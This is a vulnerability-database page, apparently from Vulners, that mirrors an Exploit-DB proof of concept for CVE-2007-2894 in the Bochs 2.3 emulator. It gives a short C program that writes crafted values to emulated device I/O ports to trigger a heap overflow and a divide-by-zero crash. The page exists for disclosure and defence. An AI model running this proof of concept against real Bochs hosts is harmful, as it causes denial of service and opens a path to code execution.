Lucene search
+L

Bochs 2.3 - Buffer Overflow (Denial of Service) (PoC)

🗓️ 31 May 2007 00:00:00Reported by Tavis OrmandyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 30 Views

Bochs 2.3 Buffer Overflow (Denial of Service) Issue & Po

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2007-2894
30 May 200701:00
cve
Cvelist
CVE-2007-2894
30 May 200701:00
cvelist
Debian CVE
CVE-2007-2894
30 May 200701:00
debiancve
EUVD
EUVD-2007-2886
7 Oct 202500:30
euvd
Fedora
[SECURITY] Fedora 7 Update: bochs-2.3-7.fc7
24 Aug 200705:41
fedora
Tenable Nessus
Fedora 7 : bochs-2.3-7.fc7 (2007-1778)
6 Nov 200700:00
nessus
Tenable Nessus
GLSA-200711-21 : Bochs: Multiple vulnerabilities
20 Nov 200700:00
nessus
Tenable Nessus
Linux Distros Unpatched Vulnerability : CVE-2007-2894
24 Aug 202500:00
nessus
Gentoo Linux
Bochs: Multiple vulnerabilities
17 Nov 200700:00
gentoo
NVD
CVE-2007-2894
30 May 200701:30
nvd
Rows per page
// source: https://www.securityfocus.com/bid/24246/info

Bochs is prone to a heap-based buffer-overflow issue and a denial-of-service issue. The buffer-overflow issue occurs because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. The denial-of-service vulnerability is caused by a divide-by-zero operation.

A local attacker can exploit these issues to execute arbitrary code in the context of the affected application or to cause denial-of-service conditions. Failed exploit attempts of the buffer-overflow vulnerability will also result in denial-of-service conditions.

#include <sys/io.h>

       int main(int argc, char **argv) {
       iopl(3);
       outw(0x5292, 0x24c);
       outw(0xffff, 0x245);(a)
       outw(0x1ffb, 0x24e);
       outb(0x76, 0x241);
       outb(0x7b, 0x240);
       outw(0x79c4, 0x247);
       outw(0x59e6, 0x240);
       return 0;
                     }

(a) <- TXCNT is inserted here.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Dec 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 22.1
EPSS0.00727
30